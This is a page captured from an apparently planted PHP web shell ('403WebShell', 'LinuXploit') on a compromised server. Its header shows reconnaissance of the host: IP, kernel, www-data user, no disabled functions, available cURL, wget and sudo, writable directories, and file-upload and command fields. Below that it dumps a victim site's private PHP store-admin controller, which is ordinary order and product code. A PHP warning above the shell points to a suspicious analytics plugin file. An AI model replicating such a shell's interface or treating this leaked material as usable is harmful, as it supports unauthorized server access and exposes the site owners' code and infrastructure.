Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/kjvdictionary_store/modules/store/controller/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/kjvdictionary_store/modules/store/controller/admin.php
<?php

class StoreAdmin_Controller extends Controller {
	
	private $level;
	private $model_product;
	private $model_productgroup;

	public function __construct() {
		parent::__construct(dirname(__DIR__));
		$this->level = isset($_SESSION['current_user']) ? (int) $_SESSION['current_user']['u_level'] : 0;
		$this->model_product = $this->LoadModel('product_model');
		$this->model_productgroup = $this->LoadModel('productgroup_model');
		hook_add('product.field.list', [$this, '__report_fields'], 1);
		hook_add('productgroup.field.list', [$this, '__report_fields_group']);
		hook_add('fulfillment.field.list', [$this, '__fulfillment_fields'], 1);
	}

	public function __Register() {
		$this->RegisterView(__CLASS__ .'::product', ['storeadmin_view' => ['store_product', 'store_product_tab_general', 'store_product_tab_stock', 'store_product_list', 'store_product_tab_feature']]);
		$this->RegisterView(__CLASS__ .'::fulfillment', ['storeadmin_view' => ['store_fulfillment', 'store_openorder', 'store_single', 'store_tracking', 'store_cancel', 'store_pslip']]);
		$this->RegisterView(__CLASS__ .'::store', ['storeadmin_view' => ['store_store', 'store_manufacturer', 'store_productgroup']]);
		$this->RegisterView(__CLASS__ .'::fulfill_new', ['storeadmin_view' => ['store_openorder']]);
		$this->RegisterView(__CLASS__ .'::fulfill_transit', ['storeadmin_view' => ['store_openorder']]);
		$this->RegisterView(__CLASS__ .'::fulfill_complete', ['storeadmin_view' => ['store_openorder']]);

		$this->RegisterView(__CLASS__ .'::store_category', ['storeadmin_view' => ['store_categories']]);			// list of categories
		$this->RegisterView(__CLASS__ .'::store_manufacturer', ['storeadmin_view' => ['store_manufacturers']]);		// list of manufacturers
	}
	
	public function __report_fields($rep) {
		$this->model_product->CustomFields($rep);
	}
	public function __report_fields_group($rep) {
		$this->model_productgroup->CustomFields($rep);
	}
	
	public function __fulfillment_fields($rep) {
		$model_order = $this->LoadModel('order_model');
		$model_order->CustomFields($rep);
	}

	/** staff */
	public function store_category() {
		$res = $this->DefaultResult(__METHOD__);
		$res['template'] = 'store_categories';
		$rep = new ReportObject;
		hook_execute('productgroup.field.list', $rep);
		$rep->asDataTablesDefinition($res);
		$res['pgauth'] = hook_execute('nonce.create', FALSE, 'progroup', 0, 1800);
		return $res;
	}

	/** staff */
	public function store_manufacturer() {
		$res = $this->DefaultResult(__METHOD__);
		$res['template'] = 'store_manufacturers';
		$res['mtable'] = [
			'pageLength' => 10,
			'bPaginate' => TRUE,
			'bFilter' => TRUE,
			'bInfo' => TRUE,					// Showing x to y of z entries
		];
		$res['mauth'] = hook_execute('nonce.create', FALSE, 'man', 0, 1800);
		
		return $res;
	}
	
	/** staff */
	public function product($product_id = '', $action = '') {
		$res = $this->DefaultResult(__METHOD__);
		
		if ($product_id == '' || $product_id == '*') {		// list products
			$rep = new ReportObject;
			hook_execute('product.field.list', $rep);
			if ($action == 'list') {
				return $this->model_product->ProductList($rep);
			}
			$rep->asDataTablesDefinition($res);
			$res['template'] = 'store_product_list';
			$res['datatable']['buttons'] = [
				[
					'text'	    => '+',
					'href'  => "/admin/product/0/edit#general",
//					'className' => 'ajax',
					'hint' 	    => 'Add product',
				],
			];

			return $res;
		}

		$this->model_product->RecordId($product_id);
		$auth = hook_execute('nonce.create', FALSE, 'product', $product_id, 1800);
		
		switch($action) {
			case 'tab-general':
				$res['template'] = 'store_product_tab_general';
				$res['list_manu'] = $this->model_product->listManufacturer();
				$res['list_group'] = $this->model_productgroup->ListGroups();
				$res['auth'] = $auth;
				$data = $this->model_product->AsHandleBars(TRUE);
				$res = array_merge($res, $data);
				break;

			case 'tab-stock':
				$res['template'] = 'store_product_tab_stock';
				$res['auth'] = $auth;
				$data = $this->model_product->AsHandleBars(TRUE);
				$res = array_merge($res, $data);
				break;

			case 'tab-feature':
				$res['template'] = 'store_product_tab_feature';
				$res['auth'] = $auth;
				$data = $this->model_product->AsHandleBars(TRUE);
				$res = array_merge($res, $data);
				break;

			case 'edit':
				$id = hook_execute( 'nonce.verify', FALSE, 'product', FALSE, $this->post('auth', '') );
				if ($this->isPost) {
					if (!is_numeric($id)) {
						return [
							'result' => -2, 
							'message' => 'You do not have permission to access this function',
						];
					} elseif ($product_id != $id) {
						return [
							'result' => -3, 
							'message' => 'Invalid "auth" token',
						];
					}
					if ($this->model_product->SaveDetails($this->post())) {
						$product_id = $this->model_product->RecordId();
						$this->Redirect('/admin/product/' . $product_id .'/' . $action . '#' . $this->post('tab'));
					}
				}
				$res['page_title'] = $this->model_product->AsCaption();
				$res['template'] = 'store_product';
				// load all the tabs for the product
				//   main deets - name, manuf, desc, category (+variations based on this category)
				//   variations
				//   image library
		}

		return $res;
	}

	/** staff */
	public function fulfill_new() {
		$res = $this->DefaultResult(__METHOD__);
		return $this->_fulfillment_report($res, 'new');
	}

	/** staff */
	public function fulfill_transit() {
		$res = $this->DefaultResult(__METHOD__);
		return $this->_fulfillment_report($res, 'transit');
	}

	/** staff */
	public function fulfill_complete() {
		$res = $this->DefaultResult(__METHOD__);
		return $this->_fulfillment_report($res, 'complete');
	}

	private function _fulfillment_report($res, $tag) {
		$model_order = $this->LoadModel('order_model');
		$model_order->HostName($this->hostname(TRUE));
		$rep = new ReportObject;
		hook_execute('fulfillment.field.list', $rep);
		$rep->asDataTablesDefinition($res);
		$res['template'] = 'store_openorder';
		$res['tag'] = $tag;
		return $res;
	}

	/** staff */
	public function fulfillment($ordernum = '', $action = '') {
		$model_order = $this->LoadModel('order_model');
		if ($ordernum == 'list') {
			$rep = new ReportObject;
			hook_execute('fulfillment.field.list', $rep);
			return $model_order->OrderList($rep, $action);
		}
//		$model_address = $this->LoadModel('address_model');
//		$model_order->ModelAddress($model_address)
		$model_order->HostName($this->hostname(TRUE));
		$res = $this->DefaultResult(__METHOD__);

		if ($ordernum == '') {
			// show tabs:  outstanding orders, oldest to newest -- new | in transit | complete
			$res['template'] = 'store_fulfillment';
			$id = $GLOBALS['loader']->CreateEphemeral(
				[
					'action' => 'tabs',
					'hook' => 'fulfillment.tab',
				], '', 1800				// normally 600 = 10min?
			);	
			$res['tabauth'] = $id;
			return $res;
		}
		
		// process specific order
		$model_order->OrderNumber($ordernum);
		$order_id = $model_order->OrderId();
		if (!$order_id) {
			$res['result'] = 7440;
			$res['message'] = 'Order could not be located';
		}

//		$model_address->UserId($model_order->UserId());
		
		// this is us cancelling the order due to one of the reasons below
		switch(strtolower(trim($action))) {
			case 'cancel':
				$options = [
					'reason'	=> [
									'value' 	=> 'request',
									'options'	=> [
										['key' => 'request'	, 'value' => 'Customer Request'],
										['key' => 'sandbox'	, 'value' => 'Sandbox Order'],
										['key' => 'sus'		, 'value' => 'Suspicious Order'],
										['key' => 'pobox'	, 'value' => 'Cannot Ship to PO Box'],
										['key' => 'invalid'	, 'value' => 'Cannot Ship to specified Destination'],
										['key' => 'payment'	, 'value' => 'Payment failed'],
									],
					],
					'refund'	=> [
									'value' 	=> 'none',
									'options'	=> [
										['key' => 'full'	, 'value' => 'Full Refund'],
										['key' => 'partial'	, 'value' => 'Partial Refund'],
										['key' => 'none'	, 'value' => 'No Refund'],
									],
					],
				];
				if ($this->isPost) {
					$order_id = hook_execute( 'nonce.verify', FALSE, 'cancel', FALSE, $this->post('auth', '') );
					if ($order_id === FALSE) {
						$res['result'] = -5;
						$res['message'] = 'you are not permitted to access this function';
					} else {
						$model_order->OrderId($order_id);
						$options['reason']['value'] = $this->post('reason');
						$options['refund']['value'] = $this->post('refund');
						$model_order->Cancel($options['reason'], $options['refund']);
						$res['redirect'] = true;
					}
				
				} else {
					$temp = $model_order->CancelReason();
					if ($temp == '') $temp = 'request';
					$options['reason']['value'] = $temp;
					$temp = $model_order->Refund();
					if ($temp == '') $temp = 'partial';
					$options['refund']['value'] = $temp;
					
					$res['popup'] = [
						'title'		=> 'Order Cancellation',
						'template'	=> 'store_cancel',
						'dialogClass' => 'order-dialog',
						'modal'		=> true,
						'width'		=> 700,
						'footer'	=> 'You will need to process refunds manually',
						'auth'		=> hook_execute('nonce.create', FALSE, 'cancel', $order_id),
						'ordernum'	=> $ordernum,
					];
					$res['popup'] = array_merge($res['popup'], $options);
				}
				break;

			case 'pslip':
				$res['popup'] = [
					'title'		=> 'Packing Slip',
					'template'	=> 'store_pslip',
					'class'		=> 'pslist-class',
					'modal'		=> true,
					'width'		=> 500,
					'auth'		=> hook_execute('nonce.create', FALSE, 'pslip', $order_id),
					'ordernum'	=> $ordernum,
					'footer'	=> 'Printer dialog will not display',
					'actions'	=> [
						[
							'action'	=> 'print',
							'text'		=> 'Print Now',
						], [
							'action'	=> 'view',
							'text'		=> 'View',
						]
					],
					
				];
				break;
				
			case 'tracking':
				$model_tracking = $this->LoadModel('tracking_model');
				$model_tracking->OrderId($model_order->OrderId());
				if ($this->isPost) {
					$email = (int) $this->post('c_email', '0');
					$numbers = $this->post('tracking', '');
					$numbers = preg_split('~\s+~ms', $numbers);
					// display good or bad noty  
					// bad: invalid numbers - don't close popup
					// no need to redisplay fulfillment page
					$error = $model_tracking->SaveTrackings($numbers);
					if (is_string($error)) {
						return [
							'result' => 59223,
							'message' => $error,
						];
					}
					$data = $model_tracking->AsHandlebars();
					$model_order->OrderStatus('Preparing for Shipment')
								->Update();
					
					if ($email) {
						$model_order->SendTrackingEmail($data);			// now send an email - only first tracking number is included
						return [
							'result' => -9999,
							'message' => 'Tracking number(s) saved, and email sent to client',
						];
					}
					return [
						'result' => -9999,
						'message' => 'Tracking number(s) saved',
					];
				} else {
					$res['popup'] = $model_order->AsPopupTracking();
					$data = $model_tracking->AsHandlebars();
					$res['popup'] = array_merge($res['popup'], $data); 
				}
				break;
				
			case 'email-buyer':
				$model_order->ResendEmail(FALSE);
				$data = [
					'result' => -9999,
					'message' => 'Email to Buyer has been re-sent',
				];
				header('Content-type: application/json');
				die(json_encode($data, JSON_UNESCAPED_SLASHES));

			case 'email-seller':
				$model_order->ResendEmail(TRUE);
				$data = [
					'result' => -9999,
					'message' => 'Email to Seller has been re-sent',
				];
				header('Content-type: application/json');
				die(json_encode($data, JSON_UNESCAPED_SLASHES));
		
			case 'packingslip': 
				$button = $this->post('button', ':');
				[$filler, $action] = explode(':', $button);
				$auth = $this->post('auth', '');
				$order_id = hook_execute( 'nonce.verify', FALSE, 'pslip', FALSE, $auth );
				if ($order_id !== FALSE) {
					$model_order->OrderId($order_id);
					$res = $model_order->printPackingSlip($auth, $action == 'print');
					break;
				}
				$res = [
					'result' => 0,
				];
				break;
		
			default:
				// enter serialnumber, tracking number, print packing slip
				$res['template'] = 'store_single';
				$res['page_title'] = 'Order ' . $ordernum;
				if ($model_order->getPhysicalFlag()) {
					$guid = $model_order->Delivery();
					$res['delivery'] = $model_order->asJson_Delivery();		// we use the captured address at time of the order. 
					$res['guid'] = $guid;
					$res['est_ship'] = $model_order->EstimatedShip() ? 			date('D, M j, Y', $model_order->EstimatedShip()) : FALSE;
					$res['est_delivery'] = $model_order->EstimatedDelivery() ?	date('D, M j, Y', $model_order->EstimatedDelivery()) : FALSE;
					$model_tracking = $this->LoadModel('tracking_model');
					$model_tracking->OrderId($model_order->OrderId());
					$res['tracking'] = $model_tracking->AsHandlebars_list();
					$res['carrier'] = $model_order->asJson_Freight();
					$status = $model_order->Status();
					$res['unshipped'] = ($status == 'paid' || $status == 'confirmed' || $status == 'authorized') ? 1 : 0;
				} else {
					$res['unshipped'] = 0;
//					$postcode = $model_order->Postcode();
//					[$state, $unused] = \Misc::ZipToState($postcode);
//					$country = AddressClass::CountryName($model_order->Country());
					$res['delivery'] = [
						'name'			=> $model_order->Name(),
//						'state'			=> $state,
//						'zip'			=> $postcode,
//						'country_name'	=> $country,
					];
				}
				$res['delivery']['email'] = $model_order->Email();
				$res['auth'] = hook_execute('nonce.create', FALSE, 'order_id', $model_order->OrderId(), 1800);
				$data = $model_order->AsHandleBars(TRUE);
				$res = array_merge($res, $data);
				$res = hook_execute('cart.display', $res, 'fulfill');		// add images
				$res['status'] = $model_order->Status();
				$res['paymeth'] = $model_order->Paymeth();
				$res['auth2'] = hook_execute('nonce.create', FALSE, '_' .substr($res['paymeth'], 0, 7), $order_id);
				return $res;

		}
/*		
		$res['status'] = $model_order->Status();
		$res['paymeth'] = $model_order->Paymeth();
		$res['cart'] = $model_order->AsHandleBars_Items();
		
		$res['auth'] = hook_execute('nonce.create', FALSE, 'fulfill', $order_id);
		$res['auth2'] = hook_execute('nonce.create', FALSE, '_' .substr($res['paymeth'], 0, 7), $order_id);
		
		$res = hook_execute('cart.display', $res);		// add images
*/
		return $res;
	}

	/** staff */
	public function store($action = '', $param1 = '', $param2 = '', $param3 = '', $param4 = '', $param5 = '', $param6 = '' ) {
		$res = $this->DefaultResult(__METHOD__);

		$action = strtolower($action);
		$hookname = 'controller.store.' . $action;
		if ($this->isPost) {
			$auth = $this->post('auth', '');
			if ($auth == '') $auth = $this->param('auth', '');
		} else {
			$auth = $this->param('auth', '');
		}
		if (hook_exists($hookname)) {
			$res = hook_execute($hookname, $res, $auth, $param1, $param2, $param3, $param4, $param5, $param6);
		} else {
			switch($action) {
				case 'manufacturer': 
					$id = hook_execute( 'nonce.verify', FALSE, 'man', FALSE, $auth );
					if ($id === FALSE) {
						return [
							'result' => -2, 
							'message' => 'You do not have permission to access this function',
						];
					} 
					if ($this->isPost ) {
						$param = [
							'id'	=> $id,
							'name'	=> $this->post('name'),
						];
						$id = $this->model_product->postManufacturer($param);
					}
					
					$res = $this->model_product->editManufacturer($id);		// manufacturers
					$res['template'] = 'store_manufacturer';
					if ($this->isPost ) {
						$res['result'] = -9999;
						$res['message'] = 'Record updated.';
					}
					break;
					
				case 'product-group':
					$id = hook_execute( 'nonce.verify', FALSE, 'progroup', FALSE, $auth );
					if ($id === FALSE) {
						return [
							'result' => -2, 
							'message' => 'You do not have permission to access this function',
						];
					} 
					$this->model_productgroup->RecordId($id);				
					if ($this->isPost) {
						if ($this->model_productgroup->SaveDetails($this->post())) {
							hook_execute('productgroup.save', TRUE, $id, $this->post());
							$group_id = $this->model_productgroup->RecordId();
							$auth = hook_execute('nonce.create', FALSE, 'progroup', $group_id, 1800);
							$this->Redirect('/admin/store/product-group?auth=' . $auth);
						}
					}
					$data = $this->model_productgroup->AsHandleBars();
					$data = hook_execute('template.productgroup', $data);
					$res = array_merge($res, $data);
					$res['auth'] = $auth;
					$res['template'] = 'store_productgroup';
					$res['datatable'] = $this->model_productgroup->AsDataTable_GroupUsage();
					break;
					
				case '':
					$res['template'] = 'store_store';
					$res = hook_execute('controller.store', $res);		// add auths/data for other modules
					break;
					
				default:
					$res['result'] = -2;
					$res['message'] = "Unable to load module for '$action'";
			}
		}
		return $res;
	}

	// get a list of all the manufacturers/productgroups/variations/etc
	/** staff */
	public function store_action($action = '', $param1 = '', $param2 = '', $param3 = '') {
		$data = [];
		$action = strtolower($action);
		$hookname = 'list.store.' . $action;
		if (hook_exists($hookname)) {
			$data = hook_execute($hookname, $data, $param1, $param2, $param3);
		} else {
			switch($action) {
				case 'manufacturer':
					$data = $this->model_product->AsDataTable_Manufacturer();
					break;

				case 'product-group':
					$rep = new ReportObject;
					hook_execute('productgroup.field.list', $rep);
					$data = $this->model_productgroup->ProductGroupList($rep);
					break;
					
				case 'active-products':
					$id = hook_execute( 'nonce.verify', FALSE, 'progroup', FALSE, $this->param('auth', '') );
					if ($id === FALSE) {
						return [
							'result' => -2, 
							'message' => 'You do not have permission to access this function',
						];
					} 
					$data = [
						'data'=> $this->model_product->getProductsInGroup($id, FALSE),
					];
					foreach($data['data'] as &$item) {
						unset($item['sp_desc'], $item['price'], $item['page_title'], $item['uri']);
						$item['sku'] = [
							'val' => $item['sp_sku'],
							'disp' => "<a href=\"/admin/product/{$item['sp_id']}/edit#general\">{$item['sp_sku']}</a>",
						];
					}
					break;
			}
		}
		header('Content-type: application/json');
		die(json_encode($data, JSON_UNESCAPED_SLASHES));
	}

	/** staff */
	public function calendar($yymm = 0) {
		$res = $this->DefaultResult(__METHOD__);
		[$yy, $mm] = explode(',', date('Y,n'));
		if (!$yymm) $yymm = $yy * 12 + ($mm - 1);
		
		$yy = intval($yymm / 12);
		$mm = ($yymm % 12) + 1;
		$dt = gmmktime(12, 0, 0, $mm, 1, $yy);
		[$dow, $num] = explode(',', gmdate('w,t', $dt));		// start day of week of first of month;  number of days
	
		$startday = $dt;
		$lastday = $dt + ($num * 86400);
		if ($dow > 0) {
			$startday -= 86400 * $dow;
		}
		
		$vacations = [];
		foreach(['QLD', 'NT', 'NSW', 'ACT', 'VIC', 'TAS', 'SA'] as $state) {
			if ($mm < 2) {
				$ny = $yy - 1;
				$vacations[$ny][$state] = hook_execute('year.status', NULL, $ny, 'AU', $state);
			} else if ($mm > 10) {
				$ny = $yy + 1;
				$vacations[$ny][$state] = hook_execute('year.status', NULL, $ny, 'AU', $state);
			}
			$vacations[$yy][$state] = hook_execute('year.status', NULL, $yy, 'AU', $state);
		}
		
		$current = $startday;
		$body = '';
		while ($current <= $lastday) {
			$body .= $this->_calendar_generateRow($current, $dt, $lastday, $vacations);
			$current += 7 * 86400;
		}
		
		$pm = $yymm - 1;
		$nm = $yymm + 1;
		$body = <<<BLOCK
<div><a href="/admin/calendar/$pm">&lt;&lt;&lt;</a> | <a href="/admin/calendar/$nm">&gt;&gt;&gt;</a></div>
<table class="calendar-table" width="100%">
<tr><td class="calendar-head">Sunday</td><td class="calendar-head">Monday</td><td class="calendar-head">Tuesday</td><td class="calendar-head">Wednesday</td><td class="calendar-head">Thursday</td><td class="calendar-head">Friday</td><td class="calendar-head">Saturday</td></tr>

$body
</table>
BLOCK;
		$res['body'] = $body;
		$res['page_title'] = gmdate('F Y', $dt);
		return $res;
	}
	
	private function _calendar_generateRow($current, $firstday, $lastday, $vacations) {
		$row = '';
		for($i = 0; $i < 7; $i++) {
			$text = $this->_calendar_vacation($current, $vacations);
			$outside = ($current < $firstday || $current >= $lastday) ? 'cell-gray' : 'cell-current';
			$dd = gmdate('j', $current);
			$row .= "<td class=\"dow-$i calendar-cell $outside\"><span class=\"n\">$dd</span><span class=\"x\">$text</span></td>";
			$current += 86400;
		}
		return "<tr class=\"calendar-row\">$row</tr>";
	}
	
	private function _calendar_vacation($current, $vacations) {
		[$dd,$mm,$yy] = explode(',', gmdate('j,n,Y', $current));
		$vacations = $vacations[$yy];
		$ddmm = "$mm:$dd";
		$items = [];
		foreach($vacations as $state => $data) {
			$txt = $data[$ddmm] ?? '';
			if ($txt != '') {
				if (!in_array($txt, array_column($items, 1))) {
					$items[] = [$state, $txt];
				}
			}
		}
		if (!count($items)) return '';
		$result = '';
		foreach($items as $item) {
			$result .= $item[1] . " [$item[0]]<br>";
		}
		return $result;
	}
		
}

Youez - 2016 - github.com/yon3zu
LinuXploit